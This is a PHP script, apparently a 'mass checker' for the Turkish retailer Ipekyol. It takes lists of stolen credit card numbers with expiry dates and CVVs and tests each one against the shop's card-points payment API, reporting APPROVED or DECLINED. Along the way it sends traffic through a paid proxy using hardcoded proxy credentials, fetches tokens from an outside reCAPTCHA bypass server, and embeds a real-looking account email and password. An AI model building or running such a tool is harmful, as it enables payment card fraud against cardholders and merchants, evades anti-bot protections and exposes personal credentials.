<?php
// Ipekyol Puan MASS Checker API
// Real-time SSE ile sonuç güncelleme

error_reporting(0);
set_time_limit(180); // 3 dakika timeout

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // Nginx buffering devre dışı

// Flush fonksiyonu
function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// Proxy ayarları
$proxy = [
    'host' => 'rp.scrapegw.com:6060',
    'auth' => 'ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek'
];

// Cookie helper class
class CookieJar {
    private $cookies = [];
    
    public function extractFromResponse($response) {
        if (preg_match_all('/^Set-Cookie:\s*([^;]+)/mi', $response, $matches)) {
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[trim($parts[0])] = trim($parts[1]);
                }
            }
        }
    }
    
    public function getCookieHeader() {
        $cookieString = [];
        foreach ($this->cookies as $name => $value) {
            $cookieString[] = "{$name}={$value}";
        }
        return implode('; ', $cookieString);
    }
    
    public function get($name) {
        return isset($this->cookies[$name]) ? $this->cookies[$name] : null;
    }
}

// cURL helper with cookie support
function curlRequest($url, $method = 'GET', $headers = [], $postData = null, &$cookieJar = null, $proxy = null) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_ENCODING, '');
    
    if ($proxy) {
        curl_setopt($ch, CURLOPT_PROXY, $proxy['host']);
        curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy['auth']);
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    }
    
    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    }
    
    if ($cookieJar && $cookieJar->getCookieHeader()) {
        $headers[] = 'Cookie: ' . $cookieJar->getCookieHeader();
    }
    
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    
    curl_close($ch);
    
    $headers_response = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    if ($cookieJar) {
        $cookieJar->extractFromResponse($headers_response);
    }
    
    return [
        'code' => $http_code,
        'body' => $body
    ];
}

// ReCAPTCHA bypass function
function get_recaptcha_token() {
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdapgUqAAAAAAYh0FOZmi5VBvarY2IJKB1MnIWU&co=aHR0cHM6Ly93d3cuaXBla3lvbC5jb20udHI6NDQz&hl=tr&v=7gg7H51Q-naNfhmCP3_R47ho&size=invisible&anchor-ms=20000&execute-ms=15000&cb=19kdui6goflt";
    $bypass_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor=" . urlencode($anchor_url);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $bypass_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        if (isset($data['success']) && $data['success'] && isset($data['token'])) {
            return $data['token'];
        }
    }
    
    return null;
}

// Ipekyol Login
function ipekyol_login($proxy) {
    $cookieJar = new CookieJar();
    
    // Step 1: Visit homepage
    $resp1 = curlRequest(
        "https://www.ipekyol.com.tr/",
        'GET',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($resp1['code'] != 200) {
        return null;
    }
    
    // Step 2: Get AntiForgeryToken
    $resp2 = curlRequest(
        "https://www.ipekyol.com.tr/tr/Page/Get/GetAntiForgeryToken",
        'GET',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept: */*',
            'Referer: https://www.ipekyol.com.tr/giris?returnUrl=/sepet&member=signin'
        ],
        null,
        $cookieJar,
        $proxy
    );
    
    if ($resp2['code'] != 200) {
        return null;
    }
    
    // Parse token from HTML
    preg_match('/<input name="__RequestVerificationToken" type="hidden" value="([^"]+)"/', $resp2['body'], $matches);
    if (!isset($matches[1])) {
        return null;
    }
    $verificationToken = $matches[1];
    
    // Step 3: Get ReCaptcha token
    $recaptcha_token = get_recaptcha_token();
    if (!$recaptcha_token) {
        return null;
    }
    
    // Step 4: Login
    $boundary = '----WebKitFormBoundarymnXFAVBYczTPcNyg';
    
    $login_body = "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"UserNameOrEmail\"\r\n\r\n";
    $login_body .= "tugbabaysal@icloud.com\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"Password\"\r\n\r\n";
    $login_body .= ",CRfgZbZWCq6w8\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"ReCaptchaToken\"\r\n\r\n";
    $login_body .= "{$recaptcha_token}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"__RequestVerificationToken\"\r\n\r\n";
    $login_body .= "{$verificationToken}\r\n";
    $login_body .= "--{$boundary}\r\n";
    $login_body .= "Content-Disposition: form-data; name=\"returnUrl\"\r\n\r\n";
    $login_body .= "/tr/Widget/Get/LoginRaw\r\n";
    $login_body .= "--{$boundary}--\r\n";
    
    $resp4 = curlRequest(
        "https://www.ipekyol.com.tr/tr/LogOn",
        'POST',
        [
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept: */*',
            'Content-Type: multipart/form-data; boundary=' . $boundary,
            'Origin: https://www.ipekyol.com.tr',
            'Referer: https://www.ipekyol.com.tr/giris?returnUrl=/sepet&member=signin'
        ],
        $login_body,
        $cookieJar,
        $proxy
    );
    
    if ($resp4['code'] != 200) {
        return null;
    }
    
    // Extract UserID from ems-member cookie
    $user_id = '4912698'; // Default
    $ems_member = $cookieJar->get('ems-member');
    if ($ems_member) {
        $decoded = urldecode($ems_member);
        $member_data = json_decode($decoded, true);
        if ($member_data && isset($member_data['memberid'])) {
            $user_id = (string)$member_data['memberid'];
        }
    }
    
    return [
        'cookieJar' => $cookieJar,
        'user_id' => $user_id
    ];
}

// ========================================
// Puan Kontrol Fonksiyonu
// ========================================
function check_card_points($card, $month, $year, $cvv, $user_id, $cookieJar, $proxy) {
    $point_url = "https://www.ipekyol.com.tr/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint";

    $point_payload = json_encode([
        "CreditCard" => [
            "Number" => $card,
            "Owner" => "asdsa sdasasdas",
            "ExpireYear" => intval($year),
            "ExpireMonth" => intval($month),
            "CVC" => $cvv
        ],
        "Money" => [
            "Amount" => 17999,
            "CurrencyId" => 1
        ],
        "IpAddress" => "127.0.0.1",
        "PaymentProvider" => "CreditCard"
    ]);

    $resp = curlRequest(
        $point_url,
        'POST',
        [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Userid: " . $user_id,
            "Content-Type: application/json",
            "Accept: */*",
            "Origin: https://www.ipekyol.com.tr",
            "Referer: https://www.ipekyol.com.tr/sepet",
            "Sec-Fetch-Site: same-origin",
            "Sec-Fetch-Mode: cors",
            "Sec-Fetch-Dest: empty"
        ],
        $point_payload,
        $cookieJar,
        $proxy
    );

    if ($resp['code'] != 200 || empty($resp['body'])) {
        return ['status' => 'error', 'amount' => '0'];
    }

    $point_data = json_decode($resp['body'], true);

    // Check for errors
    if (isset($point_data['Message']) && strpos($point_data['Message'], 'Giriş yaptığınız değerleri') !== false) {
        return ['status' => 'error', 'amount' => '0'];
    }

    // Parse Amount
    $amount = '0';
    if (isset($point_data['Point']['Amount'])) {
        $amount = (string)$point_data['Point']['Amount'];
    } elseif (isset($point_data['Amount'])) {
        $amount = (string)$point_data['Amount'];
    }

    // Check if successful (has Amount and Currency TRY)
    $status = 'error';
    if ((float)$amount > 0 && isset($point_data['Point']['Currency']) && $point_data['Point']['Currency'] === 'TRY') {
        $status = 'Success';
    }

    return [
        'status' => $status,
        'amount' => $amount
    ];
}

// Kartları al
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : '';
$cards_raw = explode("\n", trim($cards_param));

// Boş satırları temizle ve maksimum 50 kart
$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $cards[] = $card;
    }
    if (count($cards) >= 50) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse([
        'type' => 'error',
        'message' => 'Kart bilgisi bulunamadı'
    ]);
    exit;
}

// Cookie file system
$cookie_file = __DIR__ . '/puan4cookie.txt';

// Check if cookie file exists
if (!file_exists($cookie_file)) {
    send_sse([
        'type' => 'error',
        'message' => '❌ Cookie dosyası bulunamadı (puan4cookie.txt)'
    ]);
    exit;
}

$cookie_age = time() - filemtime($cookie_file);
$cookie_age_hours = round($cookie_age / 3600, 1);

// Warn if cookie is old (more than 24 hours)
if ($cookie_age > 86400) {
    send_sse([
        'type' => 'warning',
        'message' => "⚠️ Cookie eski (yaş: {$cookie_age_hours} saat). Hata alırsanız cookie'yi güncelleyin."
    ]);
}

$cookie_content = trim(file_get_contents($cookie_file));
if (empty($cookie_content)) {
    send_sse([
        'type' => 'error',
        'message' => '❌ Cookie dosyası boş'
    ]);
    exit;
}

send_sse([
    'type' => 'info',
    'message' => "✅ Cookie yüklendi (yaş: {$cookie_age_hours} saat)"
]);

// Parse cookie file and populate cookieJar
$cookieJar = new CookieJar();

$cookies_array = explode(';', $cookie_content);
foreach ($cookies_array as $cookie_pair) {
    $cookie_pair = trim($cookie_pair);
    if (!empty($cookie_pair)) {
        $parts = explode('=', $cookie_pair, 2);
        if (count($parts) == 2) {
            $fake_header = "Set-Cookie: " . $cookie_pair;
            $cookieJar->extractFromResponse($fake_header);
        }
    }
}

// Extract UserID from ems-member
$user_id = '4912698';
$ems_member = $cookieJar->get('ems-member');
if ($ems_member) {
    $decoded = urldecode($ems_member);
    $member_data = json_decode($decoded, true);
    if ($member_data && isset($member_data['memberid'])) {
        $user_id = (string)$member_data['memberid'];
    }
}

$session = [
    'cookieJar' => $cookieJar,
    'user_id' => $user_id
];

send_sse([
    'type' => 'info',
    'message' => "✅ Session hazır (UserID: {$user_id})"
]);

// Start checking cards
$cookieJar = $session['cookieJar'];
$user_id = $session['user_id'];

$results = [];

// Her kartı işle
foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    // Kart bilgilerini parse et
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        
        // Progress gönder
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = substr($kart_parts[2], -2);
    $cvv_input = $kart_parts[3];
    
    // Ay formatı düzelt
    if (strlen($month_input) === 1) {
        $month_input = "0" . $month_input;
    }
    
    // Kart formatını kontrol et
    if (strlen($card_input) != 16) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'amount' => '0',
            'status' => 'DECLINED❌'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Puan kontrolü yap
    $point_result = check_card_points($card_input, $month_input, $year_input, $cvv_input, $user_id, $cookieJar, $proxy);
    
    $amount = $point_result['amount'];
    $status = ($point_result['status'] === 'Success' && (float)$amount > 0) ? 'APPROVED✅' : 'DECLINED❌';
    
    // Sonuç ekle
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'amount' => $amount,
        'status' => $status
    ];
    
    // Progress gönder
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'results' => $results
    ]);
}

// Final sonuç
send_sse([
    'type' => 'complete',
    'total' => $total,
    'results' => $results
]);

?>
